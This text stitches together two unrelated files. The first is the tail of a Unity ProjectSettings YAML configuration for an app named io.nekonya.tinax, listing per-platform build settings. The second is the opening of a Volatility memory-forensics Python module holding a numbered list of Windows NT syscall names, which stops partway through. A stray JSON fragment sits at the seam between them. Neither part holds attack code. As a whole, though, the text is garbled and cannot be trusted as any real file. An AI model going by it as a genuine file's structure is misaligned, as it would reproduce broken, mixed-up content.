1\n depthBufferSharingEnabled: 1\n lumin:\n depthFormat: 0\n frameTiming: 2\n enableGLCache: 0\n glCacheMaxBlobSize: 524288\n glCacheMaxFileSize: 8388608\n oculus:\n sharedDepthBuffer: 1\n dashSupport: 1\n lowOverheadMode: 0\n protectedContext: 0\n v2Signing: 1\n enable360StereoCapture: 0\n isWsaHolographicRemotingEnabled: 0\n enableFrameTimingStats: 0\n useHDRDisplay: 0\n D3DHDRBitDepth: 0\n m_ColorGamuts: 00000000\n targetPixelDensity: 30\n resolutionScalingMode: 0\n androidSupportedAspectRatio: 1\n androidMaxAspectRatio: 2.1\n applicationIdentifier:\n Android: io.nekonya.tinax\n Standalone: io.nekonya.tinax\n buildNumber: {}\n AndroidBundleVersionCode: 1\n AndroidMinSdkVersion: 28\n AndroidTargetSdkVersion: 0\n AndroidPreferredInstallLocation: 1\n aotOptions: \n stripEngineCode: 1\n iPhoneStrippingLevel: 0\n iPhoneScriptCallOptimization: 0\n ForceInternetPermission: 0\n ForceSDCardPermission: 0\n CreateWallpaper: 0\n APKExpansionFiles: 0\n keepLoadedShadersAlive: 0\n StripUnusedMeshComponents: 1\n VertexChannelCompressionMask: 4054\n iPhoneSdkVersion: 988\n iOSTargetOSVersionString: 10.0\n tvOSSdkVersion: 0\n tvOSRequireExtendedGameController: 0\n tvOSTargetOSVersionString: 10.0\n uIPrerenderedIcon: 0\n uIRequiresPersistentWiFi: 0\n uIRequiresFullScreen: 1\n uIStatusBarHidden: 1\n uIExitOnSuspend: 0\n uIStatusBarStyle: 0\n iPhoneSplashScreen: {fileID: 0}\n iPhoneHighResSplashScreen: {fileID: 0}\n iPhoneTallHighResSplashScreen: {fileID: 0}\n iPhone47inSplashScreen: {fileID: 0}\n iPhone55inPortraitSplashScreen: {fileID: 0}\n iPhone55inLandscapeSplashScreen: {fileID: 0}\n iPhone58inPortraitSplashScreen: {fileID: 0}\n iPhone58inLandscapeSplashScreen: {fileID: 0}\n iPadPortraitSplashScreen: {fileID: 0}\n iPadHighResPortraitSplashScreen: {fileID: 0}\n iPadLandscapeSplashScreen: {fileID: 0}\n iPadHighResLandscapeSplashScreen: {fileID: 0}\n iPhone65inPortraitSplashScreen: {fileID: 0}\n iPhone65inLandscapeSplashScreen: {fileID: 0}\n iPhone61inPortraitSplashScreen: {fileID: 0}\n iPhone61inLandscapeSplashScreen: {fileID: 0}\n appleTVSplashScreen: {fileID: 0}\n appleTVSplashScreen2x: {fileID: 0}\n tvOSSmallIconLayers: []\n tvOSSmallIconLayers2x: []\n tvOSLargeIconLayers: []\n tvOSLargeIconLayers2x: []\n tvOSTopShelfImageLayers: []\n tvOSTopShelfImageLayers2x: []\n tvOSTopShelfImageWideLayers: []\n tvOSTopShelfImageWideLayers2x: []\n iOSLaunchScreenType: 0\n iOSLaunchScreenPortrait: {fileID: 0}\n iOSLaunchScreenLandscape: {fileID: 0}\n iOSLaunchScreenBackgroundColor:\n serializedVersion: 2\n rgba: 0\n iOSLaunchScreenFillPct: 100\n iOSLaunchScreenSize: 100\n iOSLaunchScreenCustomXibPath: \n iOSLaunchScreeniPadType: 0\n iOSLaunchScreeniPadImage: {fileID: 0}\n iOSLaunchScreeniPadBackgroundColor:\n serializedVersion: 2\n rgba: 0\n iOSLaunchScreeniPadFillPct: 100\n iOSLaunchScreeniPadSize: 100\n iOSLaunchScreeniPadCustomXibPath: \n iOSUseLaunchScreenStoryboard: 0\n iOSLaunchScreenCustomStoryboardPath: \n iOSDeviceRequirements: []\n iOSURLSchemes: []\n iOSBackgroundModes: 0\n iOSMetalForceHardShadows: 0\n metalEditorSupport: 1\n metalAPIValidation: 1\n iOSRenderExtraFrameOnPause: 0\n appleDeveloperTeamID: \n iOSManualSigningProvisioningProfileID: \n tvOSManualSigningProvisioningProfileID: \n iOSManualSigningProvisioningProfileType: 0\n tvOSManualSigningProvisioningProfileType: 0\n appleEnableAutomaticSigning: 0\n iOSRequireARKit: 0\n iOSAutomaticallyDetectAndAddCapabilities: 1\n appleEnableProMotion: 0\n clonedFromGUID: 5f34be1353de5cf4398729fda238591b\n templatePackageId: com.unity.template.2d@3.3.0\n templateDefaultScene: Assets/Scenes/SampleScene.unity\n AndroidTargetArchitectures: 1\n AndroidSplashScreenScale: 0\n androidSplashScreen: {fileID: 0}\n AndroidKeystoreName: \n AndroidKeyaliasName: \n AndroidBuildApkPerCpuArchitecture: 0\n AndroidTVCompatibility: 0\n AndroidIsGame: 1\n AndroidEnableTango: 0\n androidEnableBanner: 1\n androidUseLowAccuracyLocation: 0\n androidUseCustomKeystore: 0\n m_AndroidBanners:\n - width: 320\n height: 180\n banner: {fileID: 0}\n androidGamepadSupportLevel: 0\n AndroidValidateAppBundleSize: 1\n AndroidAppBundleSizeToValidate: 150\n m_BuildTargetIcons: []\n m_BuildTargetPlatformIcons:\n - m_BuildTarget: Android\n m_Icons:\n - m_Textures: []\n m_Width: 432\n m_Height: 432\n m_Kind: 2\n m_SubKind: \n - m_Textures: []\n m_Width: 324\n m_Height: 324\n m_Kind: 2\n m_SubKind: \n - m_Textures: []\n m_Width: 216\n m_Height: 216\n m_Kind: 2\n m_SubKind: \n - m_Textures: []\n m_Width: 162\n m_Height: 162\n m_Kind: 2\n m_SubKind: \n - m_Textures: []\n m_Width: 108\n m_Height: 108\n m_Kind: 2\n m_SubKind: \n - m_Textures: []\n m_Width: 81\n m_Height: 81\n m_Kind: 2\n m_SubKind: \n - m_Textures: []\n m_Width: 192\n m_Height: 192\n m_Kind: 1\n m_SubKind: \n - m_Textures: []\n m_Width: 144\n m_Height: 144\n m_Kind: 1\n m_SubKind: \n - m_Textures: []\n m_Width: 96\n m_Height: 96\n m_Kind: 1\n m_SubKind: \n - m_Textures: []\n m_Width: 72\n m_Height: 72\n m_Kind: 1\n m_SubKind: \n - m_Textures: []\n m_Width: 48\n m_Height: 48\n m_Kind: 1\n m_SubKind: \n - m_Textures: []\n m_Width: 36\n m_Height: 36\n m_Kind: 1\n m_SubKind: \n - m_Textures: []\n m_Width: 192\n m_Height: 192\n m_Kind: 0\n m_SubKind: \n - m_Textures: []\n m_Width: 144\n m_Height: 144\n m_Kind: 0\n m_SubKind: \n - m_Textures: []\n m_Width: 96\n m_Height: 96\n m_Kind: 0\n m_SubKind: \n - m_Textures: []\n m_Width: 72\n m_Height: 72\n m_Kind: 0\n m_SubKind: \n - m_Textures: []\n m_Width: 48\n m_Height: 48\n m_Kind: 0\n m_SubKind: \n - m_Textures: []\n m_Width: 36\n m_Height: 36\n m_Kind: 0\n m_SubKind: \n m_BuildTargetBatching: []\n m_BuildTargetGraphicsJobs:\n - m_BuildTarget: MacStandaloneSupport\n m_GraphicsJobs: 0\n - m_BuildTarget: Switch\n m_GraphicsJobs: 0\n - m_BuildTarget: MetroSupport\n m_GraphicsJobs: 0\n - m_BuildTarget: AppleTVSupport\n m_GraphicsJobs: 0\n - m_BuildTarget: BJMSupport\n m_GraphicsJobs: 0\n - m_BuildTarget: LinuxStandaloneSupport\n m_GraphicsJobs: 0\n - m_BuildTarget: PS4Player\n m_GraphicsJobs: 0\n - m_BuildTarget: iOSSupport\n m_GraphicsJobs: 0\n - m_BuildTarget: WindowsStandaloneSupport\n m_GraphicsJobs: 0\n - m_BuildTarget: XboxOnePlayer\n m_GraphicsJobs: 0\n - m_BuildTarget: LuminSupport\n m_GraphicsJobs: 0\n - m_BuildTarget: AndroidPlayer\n m_GraphicsJobs: 0\n - m_BuildTarget: WebGLSupport\n m_GraphicsJobs: 0\n m_BuildTargetGraphicsJobMode:\n - m_BuildTarget: PS4Player\n m_GraphicsJobMode: 0\n - m_BuildTarget: XboxOnePlayer\n m_GraphicsJobMode: 0\n m_BuildTargetGraphicsAPIs:\n - m_BuildTarget: AndroidPlayer\n m_APIs: 150000000b000000\n m_Automatic: 0\n m_BuildTargetVRSettings: []\n openGLRequireES31: 0\n openGLRequireES31AEP: 0\n openGLRequireES32: 0\n m_TemplateCustomTags: {}\n mobileMTRendering:\n Android: 1\n iPhone: 1\n tvOS: 1\n m_BuildTargetGroupLightmapEncodingQuality: []\n m_BuildTargetGroupLightmapSettings: []\n playModeTestRunnerEnabled: 0\n runPlayModeTestAsEditModeTest: 0\n actionOnDotNetUnhandledException: 1\n enableInternalProfiler: 0\n logObjCUncaughtExceptions: 1\n enableCrashReportAPI: 0\n cameraUsageDescription: \n locationUsageDescription: \n microphoneUsageDescription: \n switchNetLibKey: \n switchSocketMemoryPoolSize: 6144\n switchSocketAllocatorPoolSize: 128\n switchSocketConcurrencyLimit: 14\n switchScreenResolutionBehavior: 2\n switchUseCPUProfiler: 0\n switchApplicationID: 0x01004b9000490000\n switchNSODependencies: \n switchTitleNames_0: \n switchTitleNames_1: \n switchTitleNames_2: \n switchTitleNames_3: \n switchTitleNames_4: \n switchTitleNames_5: \n switchTitleNames_6: \n switchTitleNames_7: \n switchTitleNames_8: \n switchTitleNames_9: \n switchTitleNames_10: \n switchTitleNames_11: \n switchTitleNames_12: \n switchTitleNames_13: \n switchTitleNames_14: \n switchPublisherNames_0: \n switchPublisherNames_1: \n switchPublisherNames_2: \n switchPublisherNames_3: \n switchPublisherNames_4: \n switchPublisherNames_5: \n switchPublisherNames_6: \n switchPublisherNames_7: \n switchPublisherNames_8: \n switchPublisherNames_9: \n switchPublisherNames_10: \n switchPublisherNames_11: \n switchPublisherNames_12: \n switchPublisherNames_13: \n switchPublisherNames_14: \n switchIcons_0: {fileID: 0}\n switchIcons_1: {fileID: 0}\n switchIcons_2: {fileID: 0}\n switchIcons_3: {fileID: 0}\n switchIcons_4: {fileID: 0}\n switchIcons_5: {fileID: 0}\n switchIcons_6: {fileID: 0}\n switchIcons_7: {fileID: 0}\n switchIcons_8: {fileID: 0}\n switchIcons_9: {fileID: 0}\n switchIcons_10: {fileID: 0}\n switchIcons_11: {fileID: 0}\n switchIcons_12: {fileID: 0}\n switchIcons_13: {fileID: 0}\n switchIcons_14: {fileID: 0}\n switchSmallIcons_0: {fileID: 0}\n switchSmallIcons_1: {fileID: 0}\n switchSmallIcons_2: {fileID: 0}\n switchSmallIcons_3: {fileID: 0}\n switchSmallIcons_4: {fileID: 0}\n switchSmallIcons_5: {fileID: 0}\n switchSmallIcons_6: {fileID: 0}\n switchSmallIcons_7: {fileID: 0}\n switchSmallIcons_8: {fileID: 0}\n switchSmallIcons_9: {fileID: 0}\n switchSmallIcons_10: {fileID: 0}\n switchSmallIcons_11: {fileID: 0}\n switchSmallIcons_12: {fileID: 0}\n switchSmallIcons_13: {fileID: 0}\n switchSmallIcons_14: {fileID: 0}\n switchManualHTML: \n switchAccessibleURLs: \n switchLegalInformation: \n switchMainThreadStackSize: 1048576\n switchPresenceGroupId: \n switchLogoHandling: 0\n switchReleaseVersion: 0\n switchDisplayVersion: 1.0.0\n switchStartupUserAccount: 0\n switchTouchScreenUsage: 0\n switchSupportedLanguagesMask: 0\n switchLogoType: 0\n switchApplicationErrorCodeCategory: \n switchUserAccountSaveDataSize: 0\n switchUserAccountSaveDataJournalSize: 0\n switchApplicationAttribute: 0\n switchCardSpecSize: -1\n switchCardSpecClock: -1\n switchRatingsMask: 0\n switchRatingsInt_0: 0\n switchRatingsInt_1: 0\n switchRatingsInt_2: 0\n switchRatingsInt_3: 0\n switchRatingsInt_4: 0\n switchRatingsInt_5: 0\n switchRatingsInt_6: 0\n switchRatingsInt_7: 0\n switchRatingsInt_8: 0\n switchRatingsInt_9: 0\n switchRatingsInt_10: 0\n switchRatingsInt_11: 0\n switchRatingsInt_12: 0\n switchLocalCommunicationIds_0: \n switchLocalCommunicationIds_1: \n switchLocalCommunicationIds_2: \n switchLocalCommunicationIds_3: \n switchLocalCommunicationIds_4: \n switchLocalCommunicationIds_5: \n switchLocalCommunicationIds_6: \n switchLocalCommunicationIds_7: \n switchParentalControl: 0\n switchAllowsScreenshot: 1\n switchAllowsVideoCapturing: 1\n switchAllowsRuntimeAddOnContentInstall: 0\n switchDataLossConfirmation: 0\n switchUserAccountLockEnabled: 0\n switchSystemResourceMemory: 16777216\n switchSupportedNpadStyles: 22\n switchNativeFsCacheSize: 32\n switchIsHoldTypeHorizontal: 0\n switchSupportedNpadCount: 8\n switchSocketConfigEnabled: 0\n switchTcpInitialSendBufferSize: 32\n switchTcpInitialReceiveBufferSize: 64\n switchTcpAutoSendBufferSizeMax: 256\n switchTcpAutoReceiveBufferSizeMax: 256\n switchUdpSendBufferSize: 9\n switchUdpReceiveBufferSize: 42\n switchSocketBufferEfficiency: 4\n switchSocketInitializeEnabled: 1\n switchNetworkInterfaceManagerInitializeEnabled: 1\n switchPlayerConnectionEnabled: 1\n ps4NPAgeRating: 12\n ps4NPTitleSecret: \n ps4NPTrophyPackPath: \n ps4ParentalLevel: 11\n ps4ContentID: ED1633-NPXX51362_00-0000000000000000\n ps4Category: 0\n ps4MasterVersion: 01.00\n ps4AppVersion: 01.00\n ps4AppType: 0\n ps4ParamSfxPath: \n ps4VideoOutPixelFormat: 0\n ps4VideoOutInitialWidth: 1920\n ps4VideoOutBaseModeInitialWidth: 1920\n ps4VideoOutReprojectionRate: 60\n ps4PronunciationXMLPath: \n ps4PronunciationSIGPath: \n ps4BackgroundImagePath: \n ps4StartupImagePath: \n ps4StartupImagesFolder: \n ps4IconImagesFolder: \n ps4SaveDataImagePath: \n ps4SdkOverride: \n ps4BGMPath: \n ps4ShareFilePath: \n ps4ShareOverlayImagePath: \n ps4PrivacyGuardImagePath: \n ps4NPtitleDatPath: \n ps4RemotePlayKeyAssignment: -1\n ps4RemotePlayKeyMappingDir: \n ps4PlayTogetherPlayerCount: 0\n ps4EnterButtonAssignment: 1\n ps4ApplicationParam1: 0\n ps4ApplicationParam2: 0\n ps4ApplicationParam3: 0\n ps4ApplicationParam4: 0\n ps4DownloadDataSize: 0\n ps4GarlicHeapSize: 2048\n ps4ProGarlicHeapSize: 2560\n playerPrefsMaxSize: 32768\n ps4Passcode: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ\n ps4pnSessions: 1\n ps4pnPresence: 1\n ps4pnFriends: 1\n ps4pnGameCustomData: 1\n playerPrefsSupport: 0\n enableApplicationExit: 0\n resetTempFolder: 1\n restrictedAudioUsageRights: 0\n ps4UseResolutionFallback: 0\n ps4ReprojectionSupport: 0\n ps4UseAudio3dBackend: 0\n ps4UseLowGarlicFragmentationMode: 1\n ps4SocialScreenEnabled: 0\n ps4ScriptOptimizationLevel: 0\n ps4Audio3dVirtualSpeakerCount: 14\n ps4attribCpuUsage: 0\n ps4PatchPkgPath: \n ps4PatchLatestPkgPath: \n ps4PatchChangeinfoPath: \n ps4PatchDayOne: 0\n ps4attribUserManagement: 0\n ps4attribMoveSupport: 0\n ps4attrib3DSupport: 0\n ps4attribShareSupport: 0\n ps4attribExclusiveVR: 0\n ps4disableAutoHideSplash: 0\n ps4videoRecordingFeaturesUsed: 0\n ps4contentSearchFeaturesUsed: 0\n ps4attribEyeToEyeDistanceSettingVR: 0\n ps4IncludedModules: []\n ps4attribVROutputEnabled: 0\n monoEnv: \n splashScreenBackgroundSourceLandscape: {fileID: 0}\n splashScreenBackgroundSourcePortrait: {fileID: 0}\n blurSplashScreenBackground: 1\n spritePackerPolicy: \n webGLMemorySize: 16\n webGLExceptionSupport: 1\n webGLNameFilesAsHashes: 0\n webGLDataCaching: 1\n webGLDebugSymbols: 0\n webGLEmscriptenArgs: \n webGLModulesDirectory: \n webGLTemplate: APPLICATION:Default\n webGLAnalyzeBuildSize: 0\n webGLUseEmbeddedResources: 0\n webGLCompressionFormat: 1\n webGLLinkerTarget: 1\n webGLThreadsSupport: 0\n webGLWasmStreaming: 0\n scriptingDefineSymbols: {}\n platformArchitecture: {}\n scriptingBackend: {}\n il2cppCompilerConfiguration: {}\n managedStrippingLevel: {}\n incrementalIl2cppBuild: {}\n allowUnsafeCode: 0\n additionalIl2CppArgs: \n scriptingRuntimeVersion: 1\n gcIncremental: 0\n gcWBarrierValidation: 0\n apiCompatibilityLevelPerPlatform: {}\n m_RenderingPath: 1\n m_MobileRenderingPath: 1\n metroPackageName: Template_2D\n metroPackageVersion: \n metroCertificatePath: \n metroCertificatePassword: \n metroCertificateSubject: \n metroCertificateIssuer: \n metroCertificateNotAfter: 0000000000000000\n metroApplicationDescription: Template_2D\n wsaImages: {}\n metroTileShortName: \n metroTileShowName: 0\n metroMediumTileShowName: 0\n metroLargeTileShowName: 0\n metroWideTileShowName: 0\n metroSupportStreamingInstall: 0\n metroLastRequiredScene: 0\n metroDefaultTileSize: 1\n metroTileForegroundText: 2\n metroTileBackgroundColor: {r: 0.13333334, g: 0.17254902, b: 0.21568628, a: 0}\n metroSplashScreenBackgroundColor: {r: 0.12941177, g: 0.17254902, b: 0.21568628,\n a: 1}\n metroSplashScreenUseBackgroundColor: 0\n platformCapabilities: {}\n metroTargetDeviceFamilies: {}\n metroFTAName: \n metroFTAFileTypes: []\n metroProtocolName: \n XboxOneProductId: \n XboxOneUpdateKey: \n XboxOneSandboxId: \n XboxOneContentId: \n XboxOneTitleId: \n XboxOneSCId: \n XboxOneGameOsOverridePath: \n XboxOnePackagingOverridePath: \n XboxOneAppManifestOverridePath: \n XboxOneVersion: 1.0.0.0\n XboxOnePackageEncryption: 0\n XboxOnePackageUpdateGranularity: 2\n XboxOneDescription: \n XboxOneLanguage:\n - enus\n XboxOneCapability: []\n XboxOneGameRating: {}\n XboxOneIsContentPackage: 0\n XboxOneEnableGPUVariability: 1\n XboxOneSockets: {}\n XboxOneSplashScreen: {fileID: 0}\n XboxOneAllowedProductIds: []\n XboxOnePersistentLocalStorageSize: 0\n XboxOneXTitleMemory: 8\n XboxOneOverrideIdentityName: \n XboxOneOverrideIdentityPublisher: \n vrEditorSettings:\n daydream:\n daydreamIconForeground: {fileID: 0}\n daydreamIconBackground: {fileID: 0}\n cloudServicesEnabled:\n UNet: 1\n luminIcon:\n m_Name: \n m_ModelFolderPath: \n m_PortalFolderPath: \n luminCert:\n m_CertPath: \n m_SignPackage: 1\n luminIsChannelApp: 0\n luminVersion:\n m_VersionCode: 1\n m_VersionName: \n apiCompatibilityLevel: 6\n cloudProjectId: \n framebufferDepthMemorylessMode: 0\n projectName: \n organizationId: \n cloudEnabled: 0\n enableNativePlatformBackendsForNewInputSystem: 0\n disableOldInputManagerSupport: 0\n legacyClampBlendShapeWeights: 0\n"} {"text": "# Volatility\n# Copyright (c) 2008-2013 Volatility Foundation\n# Copyright (c) 2011 Michael Hale Ligh <michael.hale@gmail.com>\n#\n# This file is part of Volatility.\n#\n# Volatility is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License Version 2 as\n# published by the Free Software Foundation. You may not use, modify or\n# distribute this program under any other version of the GNU General\n# Public License.\n#\n# Volatility is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Volatility. If not, see <http://www.gnu.org/licenses/>.\n#\n\nsyscalls = [\n [\n 'NtAcceptConnectPort', # 0x0\n 'NtAccessCheck', # 0x1\n 'NtAccessCheckAndAuditAlarm', # 0x2\n 'NtAccessCheckByType', # 0x3\n 'NtAccessCheckByTypeAndAuditAlarm', # 0x4\n 'NtAccessCheckByTypeResultList', # 0x5\n 'NtAccessCheckByTypeResultListAndAuditAlarm', # 0x6\n 'NtAccessCheckByTypeResultListAndAuditAlarmByHandle', # 0x7\n 'NtAddAtom', # 0x8\n 'NtAddBootEntry', # 0x9\n 'NtAdjustGroupsToken', # 0xa\n 'NtAdjustPrivilegesToken', # 0xb\n 'NtAlertResumeThread', # 0xc\n 'NtAlertThread', # 0xd\n 'NtAllocateLocallyUniqueId', # 0xe\n 'NtAllocateUserPhysicalPages', # 0xf\n 'NtAllocateUuids', # 0x10\n 'NtAllocateVirtualMemory', # 0x11\n 'NtAreMappedFilesTheSame', # 0x12\n 'NtAssignProcessToJobObject', # 0x13\n 'NtCallbackReturn', # 0x14\n 'NtCancelDeviceWakeupRequest', # 0x15\n 'NtCancelIoFile', # 0x16\n 'NtCancelTimer', # 0x17\n 'NtClearEvent', # 0x18\n 'NtClose', # 0x19\n 'NtCloseObjectAuditAlarm', # 0x1a\n 'NtCompactKeys', # 0x1b\n 'NtCompareTokens', # 0x1c\n 'NtCompleteConnectPort', # 0x1d\n 'NtCompressKey', # 0x1e\n 'NtConnectPort', # 0x1f\n 'NtContinue', # 0x20\n 'NtCreateDebugObject', # 0x21\n 'NtCreateDirectoryObject', # 0x22\n 'NtCreateEvent', # 0x23\n 'NtCreateEventPair', # 0x24\n 'NtCreateFile', # 0x25\n 'NtCreateIoCompletion', # 0x26\n 'NtCreateJobObject', # 0x27\n 'NtCreateJobSet', # 0x28\n 'NtCreateKey', # 0x29\n 'NtCreateMailslotFile', # 0x2a\n 'NtCreateMutant', # 0x2b\n 'NtCreateNamedPipeFile', # 0x2c\n 'NtCreatePagingFile', # 0x2d\n 'NtCreatePort', # 0x2e\n 'NtCreateProcess', # 0x2f\n 'NtCreateProcessEx', # 0x30\n 'NtCreateProfile', # 0x31\n 'NtCreateSection', # 0x32\n 'NtCreateSemaphore', # 0x33\n 'NtCreateSymbolicLinkObject', # 0x34\n 'NtCreateThread', # 0x35\n 'NtCreateTimer', # 0x36\n 'NtCreateToken', # 0x37\n 'NtCreateWaitablePort', # 0x38\n 'NtDebugActiveProcess', # 0x39\n 'NtDebugContinue', # 0x3a\n 'NtDelayExecution', # 0x3b\n 'NtDeleteAtom', # 0x3c\n 'NtDeleteBootEntry', # 0x3d\n 'NtDeleteFile', # 0x3e\n 'NtDeleteKey', # 0x3f\n 'NtDeleteObjectAuditAlarm', # 0x40\n 'NtDeleteValueKey', # 0x41\n 'NtDeviceIoControlFile', # 0x42\n 'NtDisplayString', # 0x43\n 'NtDuplicateObject', # 0x44\n 'NtDuplicateToken', # 0x45\n 'NtEnumerateBootEntries', # 0x46\n 'NtEnumerateKey', # 0x47\n 'NtEnumerateSystemEnvironmentValuesEx', # 0x48\n 'NtEnumerateValueKey', # 0x49\n 'NtExtendSection', # 0x4a\n 'NtFilterToken', # 0x4b\n 'NtFindAtom', # 0x4c\n 'NtFlushBuffersFile', # 0x4d\n 'NtFlushInstructionCache', # 0x4e\n 'NtFlushKey', # 0x4f\n 'NtFlushVirtualMemory', # 0x50\n 'NtFlushWriteBuffer', # 0x51\n 'NtFreeUserPhysicalPages', # 0x52\n 'NtFreeVirtualMemory', # 0x53\n 'NtFsControlFile', # 0x54\n 'NtGetContextThread', # 0x55\n 'NtGetDevicePowerState', # 0x56\n 'NtGetPlugPlayEvent', # 0x57\n 'NtGetWriteWatch', # 0x58\n 'NtImpersonateAnonymousToken', # 0x59\n 'NtImpersonateClientOfPort', # 0x5a\n 'NtImpersonateThread', # 0x5b\n 'NtInitializeRegistry', # 0x5c\n 'NtInitiatePowerAction', # 0x5d\n 'NtIsProcessInJob', # 0x5e\n 'NtIsSystemResumeAutomatic', # 0x5f\n 'NtListenPort', # 0x60\n 'NtLoadDriver', # 0x61\n 'NtLoadKey', # 0x62\n 'NtLoadKey2', # 0x63\n 'NtLockFile', # 0x64\n 'NtLockProductActivationKeys', # 0x65\n 'NtLockRegistryKey', # 0x66\n 'NtLockVirtualMemory', # 0x67\n 'NtMakePermanentObject', # 0x68\n 'NtMakeTemporaryObject', # 0x69\n 'NtMapUserPhysicalPages', # 0x6a\n 'NtMapUserPhysicalPagesScatter', # 0x6b\n 'NtMapViewOfSection', # 0x6c\n 'NtModifyBootEntry', # 0x6d\n 'NtNotifyChangeDirectoryFile', # 0x6e\n 'NtNotifyChangeKey', # 0x6f\n 'NtNotifyChangeMultipleKeys', # 0x70\n 'NtOpenDirectoryObject', # 0x71\n 'NtOpenEvent', # 0x72\n 'NtOpenEventPair', # 0x73\n 'NtOpenFile', # 0x74\n 'NtOpenIoCompletion', # 0x75\n 'NtOpenJobObject', # 0x76\n 'NtOpenKey', # 0x77\n 'NtOpenMutant', # 0x78\n 'NtOpenObjectAuditAlarm', # 0x79\n 'NtOpenProcess', # 0x7a\n 'NtOpenProcessToken', # 0x7b\n 'NtOpenProcessTokenEx', # 0x7c\n 'NtOpenSection', # 0x7d\n 'NtOpenSemaphore', # 0x7e\n 'NtOpenSymbolicLinkObject', # 0x7f\n 'NtOpenThread', # 0x80\n 'NtOpenThreadToken', # 0x81\n 'NtOpenThreadTokenEx', # 0x82\n 'NtOpenTimer', # 0x83\n 'NtPlugPlayControl', # 0x84\n 'NtPowerInformation', # 0x85\n 'NtPrivilegeCheck', # 0x86\n 'NtPrivilegeObjectAuditAlarm', # 0x87\n 'NtPrivilegedServiceAuditAlarm', # 0x88\n 'NtProtectVirtualMemory', # 0x89\n 'NtPulseEvent', # 0x8a\n 'NtQueryAttributesFile', # 0x8b\n 'NtQueryBootEntryOrder', # 0x8c\n 'NtQueryBootOptions', # 0x8d\n 'NtQueryDebugFilterState', # 0x8e\n 'NtQueryDefaultLocale', # 0x8f\n 'NtQueryDefaultUILanguage', # 0x90\n 'NtQueryDirectoryFile', # 0x91\n 'NtQueryDirectoryObject', # 0x92\n 'NtQueryEaFile', # 0x93\n 'NtQueryEvent', # 0x94\n 'NtQueryFullAttributesFile', # 0x95\n 'NtQueryInformationAtom', # 0x96\n 'NtQueryInformationFile', # 0x97\n 'NtQueryInformationJobObject', # 0x98\n 'NtQueryInformationPort', # 0x99\n 'NtQueryInformationProcess', # 0x9a\n 'NtQueryInformationThread', # 0x9b\n 'NtQueryInformationToken', # 0x9c\n 'NtQueryInstallUILanguage', # 0x9d\n 'NtQueryIntervalProfile', # 0x9e\n 'NtQueryIoCompletion', # 0x9f\n 'NtQueryKey', # 0xa0\n 'NtQueryMultipleValueKey', # 0xa1\n 'NtQueryMutant', # 0xa2\n 'NtQueryObject', # 0xa3\n 'NtQueryOpenSubKeys', # 0xa4\n 'NtQueryPerformanceCounter', # 0xa5\n 'NtQueryQuotaInformationFile', # 0xa6\n 'NtQuerySection', # 0xa7\n 'NtQuerySecurityObject', # 0xa8\n 'NtQuerySemaphore', # 0xa9\n 'NtQuerySymbolicLinkObject', # 0xaa\n 'NtQuerySystemEnvironmentValue', # 0xab\n 'NtQuerySystemEnvironmentValueEx', # 0xac\n 'NtQuerySystemInformation', # 0xad\n 'NtQuerySystemTime', # 0xae\n 'NtQueryTimer', # 0xaf\n 'NtQueryTimerResolution', # 0xb0\n 'NtQueryValueKey', # 0xb1\n 'NtQueryVirtualMemory', # 0xb2\n 'NtQueryVolumeInformationFile', # 0xb3\n 'NtQueueApcThread', # 0xb4\n 'NtRaiseException', # 0xb5\n 'NtRaiseHardError', # 0xb6\n 'NtReadFile', # 0xb7\n 'NtReadFileScatter', # 0xb8\n 'NtReadRequestData', # 0xb9\n 'NtReadVirtualMemory', # 0xba\n 'NtRegisterThreadTerminatePort', # 0xbb\n 'NtReleaseMutant', # 0xbc\n 'NtReleaseSemaphore', # 0xbd\n 'NtRemoveIoCompletion', # 0xbe\n 'NtRemoveProcessDebug', # 0xbf\n 'NtRenameKey', # 0xc0\n 'NtReplaceKey', # 0xc1\n 'NtReplyPort', # 0xc2\n 'NtReplyWaitReceivePort', # 0xc3\n 'NtReplyWaitReceivePortEx', # 0xc4\n 'NtReplyWaitReplyPort', # 0xc5\n 'NtRequestDeviceWakeup', # 0xc6\n 'NtRequestPort', # 0xc7\n 'NtRequestWaitReplyPort', # 0xc8\n 'NtRequestWakeupLatency', # 0xc9\n 'NtResetEvent', # 0xca\n 'NtResetWriteWatch', # 0xcb\n 'NtRestoreKey', # 0xcc\n 'NtResumeProcess', # 0xcd\n 'NtResumeThread', # 0xce\n 'NtSaveKey', # 0xcf\n 'NtSaveKeyEx', # 0xd0\n 'NtSaveMergedKeys', # 0xd1\n 'NtSecureConnectPort', # 0xd2\n 'NtSetBootEntryOrder', # 0xd3\n 'NtSetBootOptions', # 0xd4\n 'NtSetContextThread', # 0xd5\n 'NtSetDebugFilterState', # 0xd6\n 'NtSetDefaultHardErrorPort', # 0xd7\n 'NtSetDefaultLocale', # 0xd8\n 'NtSetDefaultUILanguage', # 0xd9\n 'NtSetEaFile', # 0xda\n 'NtSetEvent', # 0xdb\n 'NtSetEventBoostPriority', # 0xdc\n 'NtSetHighEventPair', # 0xdd\n 'NtSetHighWaitLowEventPair', # 0xde\n 'NtSetInformationDebugObject', # 0xdf\n 'NtSetInformationFile', # 0xe0\n 'NtSetInformationJobObject', # 0xe1\n 'NtSetInformationKey', # 0xe2\n 'NtSetInformationObject', # 0xe3\n 'NtSetInformationProcess', # 0xe4\n 'NtSetInformationThread', # 0xe5\n 'NtSetInformationToken', # 0xe6\n 'NtSetIntervalProfile', # 0xe7\n 'NtSetIoCompletion', # 0xe8\n 'NtSetLdtEntries', # 0xe9\n 'NtSetLowEventPair', # 0xea\n 'NtSetLowWaitHighEventPair', # 0xeb\n 'NtSetQuotaInformationFile', # 0xec\n 'NtSetSecurityObject', # 0xed\n 'NtSetSystemEnvironmentValue', # 0xee\n 'NtSetSystemEnvironmentValueEx', # 0xef\n 'NtSetSystemInformation', # 0xf0\n 'NtSetSystemPowerState', # 0xf1\n 'NtSetSystemTime', # 0xf2\n 'NtSetThreadExecutionState', # 0xf3\n 'NtSetTimer', # 0xf4\n 'NtSetTimerResolution', # 0xf5\n 'NtSetUuidSeed', # 0xf6\n 'NtSetValueKey', # 0xf7\n 'NtSetVolumeInformationFile', # 0xf8\n 'NtShutdownSystem', # 0xf9\n 'NtSignalAndWaitForSingleObject', # 0xfa\n 'NtStartProfile', # 0xfb\n 'NtStopProfile', # 0xfc\n 'NtSuspendProcess', # 